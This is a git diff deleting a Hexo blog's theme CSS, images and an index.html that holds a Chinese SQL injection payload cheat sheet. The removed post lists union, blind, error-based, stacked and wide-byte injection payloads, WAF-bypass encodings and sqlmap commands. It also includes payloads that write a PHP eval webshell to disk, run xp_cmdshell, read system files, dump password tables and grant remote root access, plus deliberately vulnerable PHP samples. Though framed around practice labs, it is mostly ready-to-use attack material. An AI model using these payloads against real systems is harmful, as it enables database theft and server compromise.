-.paginator-next { - width: 100%; -} -.paginator-prev__link, -.paginator-next__link { - white-space: normal; - word-wrap: break-word; - word-break: break-word; - color: #49b1f5; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; -} -.paginator-prev__link:hover, -.paginator-next__link:hover { - color: #fc6423; -} -.paginator-prev { - text-align: left; -} -.paginator-prev__icon { - margin-right: 0.3rem; -} -.paginator-next { - text-align: right; -} -.paginator-next__icon { - margin-left: 0.3rem; -} -.table-plugin tr { - -webkit-transition: background-color 0.2s ease; - -moz-transition: background-color 0.2s ease; - -o-transition: background-color 0.2s ease; - -ms-transition: background-color 0.2s ease; - transition: background-color 0.2s ease; -} -.table-plugin tr:nth-of-type(even) { - background-color: var(--color-gray-150); -} -.table-plugin tr:hover { - background-color: var(--color-gray-200); -} -.table-plugin th, -.table-plugin td { - min-width: 5rem; -} -.note-plugin { - position: relative; - margin-bottom: 20px; - border: 1px solid var(--color-gray-250); - border-left-width: 6px; - padding: 0 17px; -} -.note-plugin:not(.no-icon) { - padding-left: 40px; -} -.note-plugin h1, -.note-plugin h2, -.note-plugin h3, -.note-plugin h4, -.note-plugin h5, -.note-plugin h6 { - margin: 0; -} -.note-plugin p { - margin: 12px 0; -} -.note-plugin strong { - font-size: 18px; - line-height: 1.75; -} -.note-plugin__icon { - position: absolute; - top: 1em; - left: 12px; - font-size: 18px; - line-height: 1; -} -.note-plugin__icon--default { - color: var(--color-gray-600); -} -.note-plugin__icon--success { - color: #42b983; -} -.note-plugin__icon--info { - color: #4898dd; -} -.note-plugin__icon--warning { - color: #e7c000; -} -.note-plugin__icon--danger { - color: #dc3b3b; -} -.note-plugin.default { - border-left-color: var(--color-gray-600); -} -.note-plugin.default strong { - color: var(--color-gray-600); -} -.note-plugin.success { - border-left-color: #42b983; -} -.note-plugin.success strong { - color: #42b983; -} -.note-plugin.info { - border-left-color: #4898dd; -} -.note-plugin.info strong { - color: #4898dd; -} -.note-plugin.warning { - border-left-color: #e7c000; -} -.note-plugin.warning strong { - color: #e7c000; -} -.note-plugin.danger { - border-left-color: #dc3b3b; -} -.note-plugin.danger strong { - color: #dc3b3b; -} -.friends-plugin { - overflow: hidden; - max-width: 100%; -} -.friends-plugin__item { - display: -webkit-box; - display: -moz-box; - display: -webkit-flex; - display: -ms-flexbox; - display: box; - display: flex; - float: left; - padding: 0.5rem 1rem; - width: 50%; - height: 100px; - -webkit-transition: background-color 0.3s; - -moz-transition: background-color 0.3s; - -o-transition: background-color 0.3s; - -ms-transition: background-color 0.3s; - transition: background-color 0.3s; - -webkit-box-align: center; - -moz-box-align: center; - -o-box-align: center; - -ms-flex-align: center; - -webkit-align-items: center; - align-items: center; -} -.friends-plugin__item:hover { - background-color: rgba(73,177,245,0.1); -} -.friends-plugin__item p { - margin: 0; -} -.friends-plugin__item-avatar { - margin: 0 1rem 0 0; - border-radius: 50% !important; - width: 60px; - height: 60px; -} -.friends-plugin__item-info { - overflow: hidden; - width: 100%; - color: var(--color-gray-800); -} -.friends-plugin__item-info__name, -.friends-plugin__item-info__intro { - overflow: hidden; - white-space: nowrap; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; -} -.friends-plugin__item-info__name { - font-weight: 700; -} -.friends-plugin__item-info__intro { - font-size: 0.9em; - color: #999; -} -@media (min-width: 1138px) { - .header-nav-inner { - width: 1138px; - } - .main-inner { - width: 1138px; - } -} -@media (min-width: 991.98px) { - .header-nav-menu { - display: inline-block !important; - opacity: 1 !important; - -ms-filter: none !important; - filter: none !important; - } - .header-nav-submenu { - border-radius: 3px; - } -} -@media (max-width: 991.98px) { - .header-inner { - height: 17rem; - } - .header-banner-info__title { - margin-bottom: 1rem; - } - .header-nav-menubtn { - display: block; - float: left; - } - .header-nav-menu { - overflow: hidden; - position: absolute; - top: 50px; - right: 0; - left: 0; - width: auto; - height: auto; - background-color: #2d2e30; - } - .header-nav-menu-item { - float: none; - overflow: hidden; - margin: 0; - } - .header-nav-menu-item__link { - padding-right: 1.5rem; - padding-left: 1.5rem; - text-align: left; - color: #f4f5f5; - } - .header-nav-submenu { - display: block; - position: initial; - width: 100%; - } - .header-nav-submenu-item__link { - padding-right: 1rem; - padding-left: 3rem; - text-align: left; - } - .content-wrap { - width: 100%; - } - .sidebar-wrap { - display: none; - } - .post-list .post { - margin: 0 0 1rem; - padding: 1rem; - } -} -@media (max-width: 767.98px) { - .header-nav-inner { - padding: 15px; - } - .header-banner-info__title { - margin-bottom: 1rem; - font-size: 3rem; - } - .header-banner-info__subtitle { - font-size: 0.9rem; - } - .main-inner { - padding: 15px; - } -} -@media (max-width: 575.98px) { - .header-inner { - height: 13rem; - } - .header-nav-inner { - padding: 10px; - } - .header-banner-info__title { - margin-bottom: 0.5rem; - font-size: 2rem; - } - .header-banner-info__subtitle { - font-size: 14px; - } - .header-banner-arrow { - bottom: 0.5rem; - } - .main-inner { - padding: 10px; - } - .content, - .comments { - padding: 0.6rem 0.8rem; - font-size: 15px; - } - .archive { - margin-left: 0.5rem; - } - .archive-total { - padding-left: 1rem; - } - .timeline-item { - padding-left: 1rem; - } - .timeline-item__time { - width: 2.75rem; - } - .timeline-item__title { - width: calc(100% - 4rem); - } - .post-list .post { - margin: 0 0 0.8rem; - padding: 0.8rem; - } - .friends-plugin__item { - margin: 0; - padding: 0.5rem 1rem; - width: 100%; - } -} diff --git a/images/algolia.svg b/images/algolia.svg deleted file mode 100644 index 398ed53..0000000 --- a/images/algolia.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by-nc-nd.svg b/images/cc-by-nc-nd.svg deleted file mode 100644 index b55a5b6..0000000 --- a/images/cc-by-nc-nd.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by-nc-sa.svg b/images/cc-by-nc-sa.svg deleted file mode 100644 index 0ca8f96..0000000 --- a/images/cc-by-nc-sa.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by-nc.svg b/images/cc-by-nc.svg deleted file mode 100644 index 2e57225..0000000 --- a/images/cc-by-nc.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by-nd.svg b/images/cc-by-nd.svg deleted file mode 100644 index 241d4be..0000000 --- a/images/cc-by-nd.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by-sa.svg b/images/cc-by-sa.svg deleted file mode 100644 index 355a4cc..0000000 --- a/images/cc-by-sa.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/cc-by.svg b/images/cc-by.svg deleted file mode 100644 index 8b68bd8..0000000 --- a/images/cc-by.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/images/icons/favicon-16x16.png b/images/icons/favicon-16x16.png deleted file mode 100644 index 576bfd7..0000000 Binary files a/images/icons/favicon-16x16.png and /dev/null differ diff --git a/images/icons/favicon-32x32.png b/images/icons/favicon-32x32.png deleted file mode 100644 index 45f044e..0000000 Binary files a/images/icons/favicon-32x32.png and /dev/null differ diff --git a/images/icons/stun-logo.svg b/images/icons/stun-logo.svg deleted file mode 100644 index bbbf0a1..0000000 --- a/images/icons/stun-logo.svg +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/images/loading.svg b/images/loading.svg deleted file mode 100644 index 1306ca3..0000000 --- a/images/loading.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/index.html b/index.html deleted file mode 100644 index 3d0a074..0000000 --- a/index.html +++ /dev/null @@ -1,718 +0,0 @@ - - - - - - -Hexo

SQL注入payload

-

- SQL注入

-

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

-

攻击总体思路:

-

1:寻找到SQL注入的位置

-

2:判断服务器类型和后台数据库类型

-

3:针对不同的服务器和数据库特点进行SQL注入攻击

- -

- 0x00 SQL基本语法

-

MySQL开启远程连接 GRANT ALL PRIVILEGES ON *.* TO ‘用户名‘@’%’ IDENTIFIED BY ‘密码’ WITH GRANT OPTION;

- -

- 0 表的用途

-

MySQL

-
1
2
3
4
5
6
7
8
9
10
11
information_schema.schemata 存放所有数据库
schema_name 数据库名称

information_schema.tables 存放所有数据库的表
table_schema 数据库名称
table_name 表名称

information_schema.columns 存放所有数据库的列
table_schema 数据库名称
table_name 表名称
column_name 列名称
- - - - -

- 1 SELECT

-

SELECT * FROM 数据库.表

- -

- 2 INSERT

-

INSERT INTO table_name (column_list) VALUES (value_list);

- -

- 3 UPDATE

-

UPDATE subDomainDic SET type4domain=NULL,dic_target=0,domain_target=NULL WHERE dic_target=1;

- -

- 4 DELETE

-

DELETE FROM table_name WHERE predicate;

- -

- 5 基本函数

-

MySQL

-
1
2
3
4
mid
substr
group_concat
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
- - -

- 6 基本语句

-
1
2
3
4
5
6
7
8
9
10
显示版本:select version();
显示字符集:select @@character_set_database;
显示数据库show databases;
显示表名:show tables;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
- - - - -

- x 中间件容器解析的区别

-
1
2
3
4
index.php?id=1&id=2
apache(php)解析最后一个参数,即显示id=2的内容。
Tomcat(jsp)解析第一个参数,即显示id=1的内容。

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/Apachegetvalue(“par”)All(list)
ASP/IISRequest.QuertString(“par”)All(comma-delimited string)
- -

- 不同数据库的注入判断

-
1
2
3
4
5
6
7
8
9
10
# Oracle
'+UNION+SELECT+'abc','def'+FROM+dual--
# 显示数据库版本:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--


# MSSQL
'+UNION+SELECT+'abc','def'#
'UNION+SELECT+@@version,+NULL--+a
# 检索数据库中的表列表: '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
- - - - - - -

- 0x01 SQL注入基础

- -

- 1 常规注入

-

爆数据库

-
1
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--
- -

爆数据表

-
1
?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- -

爆数据列

-
1
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
- -

爆数据

-
1
?id=1') and 1=2 union select 1,group_concat(username),group_concat(password) from security.users--+
- -

查看是否具有读取权限

-
1
2
# 如果结果返回正常,说明具有读写权限。
select (select count(*) from mysql.user)>0;
- -

读文件

-
1
2
3
4
5
6
7
8
9
10
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

利用hex()将文件内容导出来,尤其是smb文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用\\代替

- -

文件导入

-
1
?id=1')) UNION SELECT 1,2,'<?php@eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
- - - - -

- 3 基于时间的盲注

-

if判断

-
1
2
3
4
5
6
7
# if表达式 如果a表达式为真,则执行b表达式,为假则执行c表达式
if(a, b, c)
?id=2' or if(1,sleep(2),1)--+

and (SELECT 7621 FROM (SELECT(SLEEP(5)))fjCb)--+
and (SELECT * FROM (SELECT(if(1,sleep(5),1)))aaa)#
AND (SELECT 7684 FROM (SELECT(SLEEP(5)))mRcs)
- -

利用sleep函数进行注入

-
1
2
# 若为假则延时五秒
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
- -

利用BENCHMARK()进行延时注入

-
1
2
# 当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间。
?id=1'UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1--+
- - - - -

- 4 基于布尔的盲注

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# rand()布尔判断
rand(true), rand(false)
?sort=rand(ascii(left(database(),1))=115)

###
select rand(ascii(left(database(),1))=115);
+-------------------------------------+
| rand(ascii(left(database(),1))=115) |
+-------------------------------------+
| 0.40540353712197724 |
+-------------------------------------+
select rand(true);
+---------------------+
| rand(true) |
+---------------------+
| 0.40540353712197724 |
+---------------------+

# buer
id=(SELECT (CASE WHEN (9647=9647) THEN 14 ELSE (SELECT 6297 UNION SELECT 2981) END))
- -

判断数据库版本第一位

-
1
?id=1' and left(version(),1)=5--+
- -

判断数据库长度

-
1
?id=1' and length(database())=8--+
- -

判断数据库第一位

-
1
?id=1' and left(database(),1)>'a';--+
- -

判断数据库第一位ascii

-
1
?id=1' and ascii(left(database(),1))>100--+
- -

布尔盲注获取数据表信息

-
1
2
3
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
# limit 0,1限制显示第一个表 substr限制数据结果的位数显示
# 可组合其他函数使用,如ascii
- - - - -

- 5 报错注入

-

xpath函数报错

-
1
2
3
4
# extractvalue
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
# updatexml
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
- - - -
1
2
3
AND GTID_SUBSET(CONCAT(0x717a6a7071,(SELECT (ELT(2101=2101,1))),0x71716a6b71),2101)--

(SELECT 0x526e5452 WHERE 8019=8019 AND GTID_SUBSET(CONCAT(0x7171787671,(SELECT (ELT(5727=5727,1))),0x716b7a7171),5727))
- - - -
1
2
3
4
5
6
# 数据库数量
admin' AND GTID_SUBSET(CONCAT(0x716b7a7071,(SELECT IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x71627a7671),8132)-- gqgS

# CAST 转换数据类型
CAST(COUNT(schema_name) AS NCHAR)
将COUNT(schema_name)转换为NCHAR型
- - - -

floor(rand(0)*2)

-
1
2
3
4
5
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
- -

double数值类型超出范围进行报错注入

-
1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
- -

bigint溢出

-
1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
- -

利用数据的重复性

-
1
?id=1' union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
- - -

- 6 宽字节注入

-
1
2
3
4
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤’的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将‘前面添加的\除掉,一般有两种思路:
1%df吃掉\具体的原因是urlencode(‘\)=%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将\’中的\过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
- -

image-20210908111222895

-
1
2
3
4
5
6
7
8
9
此处过滤使用函数addslashes()
addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。Addslashes()函数和我们在32关实现的功能基本一致的,所以我们依旧可以利用%df进行绕
过。
Notice:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
- - - - - -
1
2
# sqlmap跑法
sqlmap -u "http://192.168.18.12/sqlilab/Less-32/?id=1" --batch --risk=3 --level=3 --random-agent - -dbs -v 3 --tamper unmagicquotes
- - -

- 7 堆叠注入

-

适用:MySQL, SQLServer, PostgreSQL

-

不适用:Oracle

-
1
2
3
4
5
6
1 原理
SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
Select * from products where productid=1;DELETE FROM products

2 堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
- -

mysql

-
1
2
3
4
5
6
7
8
9
10
11
# 新建一个表
select * from users where id=1;create table test like users;
show tabkes;
# 删除上面新建的test表
select * from users where id=1;drop table test;
# 查询数据
select * from users where id=1;select 1,2,3;
# 加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
# 修改数据
select * from users where id=1;insert into users(id,username,password) values('100','new','new');
- - - -

sqlserver

-
1
2
3
4
5
6
7
8
9
10
# 增加数据表
select * from test;create table sc3(ss CHAR(8));
# 删除数据表
select * from test;drop table sc3;
# 查询数据
select 1,2,3;select * from test;
# 修改数据
select * from test;update test set name='test' where id=3;
# 存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
- -

PostgreSQL

-
1
2
3
4
5
6
7
8
9
# 增加数据表
select * from user_test;create table user_data(id DATE);
select * from user_data;
# 删除新建的user_data表
select * from user_test;delete from user_data;
# 查询数据
select * from user_test;select 1,2,3;
# 修改数据
select * from user_test;update user_test set name='modify' where name='张三';
- - -

- 8 创建/上传文件

-
1
2
# 创建文件内容为 <?phpphpinfo();?> 16进制
?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
- - - - -

- 9 搜索型注入

-

原理

-
1
$sql="select * from user where password like '%$pwd%' order by password";
- -

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

-
1
'and 1=1 and '%'='
- -

这样的话这句SQL语句就变成了这样:

-
1
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
- -

搜索型注入判断

-

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

-

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

-

3 搜索keywords% ‘and 1=1 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

-

4 搜索keywords% ‘and 1=2 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

-

5 根据两次的返回情况来判断是不是搜索型文本框注入了

-

下面这几种语句都可以:

-
1
2
3
4
5
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
- -

实战

-

1)get型注入

-

测试源码:

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
- -

1、判断字段数

-
1
%' union select 1,2,3,4,...... and '%'='
- -

还有种方法
语句:

-
1
%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
- - -

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。

-

2、判断表名

-

语句:

-
1
%'and(select count(*)from admin)>0 and '%'='
- -

把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。

-

3、猜解密码

-

2)post型注入

-

测试源码:

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

- -

1、判断是否存在SQL注入

-

用PHP万能密码进行测试

-
1
' or 1=1#  
- - -

在用户名里输入万能密码如果没报错,就说明存在SQL注入。

-

2、猜字段数

-
1
' order by 4#  
- - -

逐次更改数字去猜,直到不报错为止。

-

3、猜表名

-
1
'or 1=1 union select 1,2,3,4 #  
- - -

逐次累加数字,直到不报错为止。

-

4.猜内容

-

替换1,2,3为你想要获得的内容

-
1
'or 1=1 union select username,password,3,4 from user#   
- - - - -

- 10 insert/update型注入点

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 布尔注入
Parameter: sex (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: sex=a' RLIKE (SELECT (CASE WHEN (5274=5274) THEN 0x61 ELSE 0x28 END))-- sQlU&phonenum=a&add=a&email=a&submit=submit
Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

# 报错注入
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: sex=a' AND EXTRACTVALUE(3124,CONCAT(0x5c,0x716b767a71,(SELECT (ELT(3124=3124,1))),0x7162626a71))-- bRMD&phonenum=a&add=a&email=a&submit=submit
Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))

# 延时注入
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)
Payload: sex=a' RLIKE (SELECT 6187 FROM (SELECT(SLEEP(5)))jLem)-- yIsA&phonenum=a&add=a&email=a&submit=submit
Vector: RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

- - - - - - -

- *sqlmap用法

-

获取数据库信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 --dbs
- -

获取数据表信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security --tables
- -

获取列信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security -T em ails --columns
- -

读取数据

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security -T us ers --C id,username,password --dump
- - - -
1
2
# http头注入
sqlmap.py -u “url” --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-db --current-user --dbs
- - - - - - -

- 0x02 绕过及过滤闭合

- -

- 1、绕过

- -

- 1 注释符绕过

-

常用注释符:

-
1
2
3
4
5
6
7
8
//,
-- ,
/**/,
#,
--+,
-- -,
;,%00,
--aUNION /**/ Select /**/user,pwd,from userU/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
- -

绕过注释符号(#,–)过滤:

-
1
2
3
4
5
id=1'union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1'union select 1,2,'3
- - - - -

- 2 or and 绕过

-
1
2
3
4
5
and=&& or=||
1)大小写变形Or,OR,oR
2)编码,hex,urlencode
3)添加注释/*or*/
4)利用符号and=&&or=||
- - - - -

- 2 大小写绕过

-
1
?id=1+UnIoN/**/SeLeCT
- - -

- 3 内联注释绕过

-
1
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

- -

- 4 双关键字绕过

-
1
?id=1+UNIunionON+SeLselectECT+1,2,3–
- - -

- 5 编码绕过

-

如URLEncode编码,ASCII,HEX,unicode编码绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
or 1=1%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过

select load_file('0x2f6574632f706173737764');
python
>>> '/etc/passwd'.encode('hex')
'2f6574632f706173737764'

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例:

单引号:'%u0027 %u02b9 %u02bc%u02c8 %u2032%uff07 %c0%27%c0%a7 %e0%80%a7

空白:%u0020 %uff00%c0%20 %c0%a0 %e0%80%a0

左括号(:%u0028 %uff08%c0%28 %c0%a8%e0%80%a8

右括号):%u0029 %uff09%c0%29 %c0%a9%e0%80%a9
- -

十六进制引号绕过

-

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

-
1
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
- - - - -

- 6 空格绕过

-

两个空格代替一个空格,用Tab代替空格

-
1
2
3
4
5
6
7
8
%20 +
%09 tab键(水平)
%0a 新建一行
%0b tab键(垂直)
%0c 新建一页
%0d return功能
%a0 空格
/**/
- -

括号绕过空格在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

-
1
select(user())from dual where 1=1 and 2=2;
- - - - -

- 7 逗号绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1); # for 1显示1个字符 from 1从第一个开始显示
select mid(database() from 1 for 1);

对于limit可以使用offset来绕过:

select * from news limit 0,1# 等价于下面这条SQL语句
select * from news limit 1 offset 0

# case when then
1 mysql> select case when 1=1 then sleep(2) else 0 end;
2 +----------------------------------------+
3 | case when 1=1 then sleep(2) else 0 end |
4 +----------------------------------------+
5 | 0 |
6 +----------------------------------------+
7 row in set (2.00 sec)

# join
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
- - -

- 8 比较符号-尖括号过滤绕过<>

-
1
2
3
4
5
6
7
8
9
10
11
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
- - -

- 9 =绕过

-

like绕过 =

-
1
2
?id=1' or 1 like 1 
绕过对“=”,“>”等的过滤
- - -

- 10 union,select,where等绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(1)使用注释符绕过:

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/NION/**/SE/**/LECT/**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

## (4) 双关键字绕过:

id=-1'UNIunionONSeLselectECT1,2,3–-
- - - - -

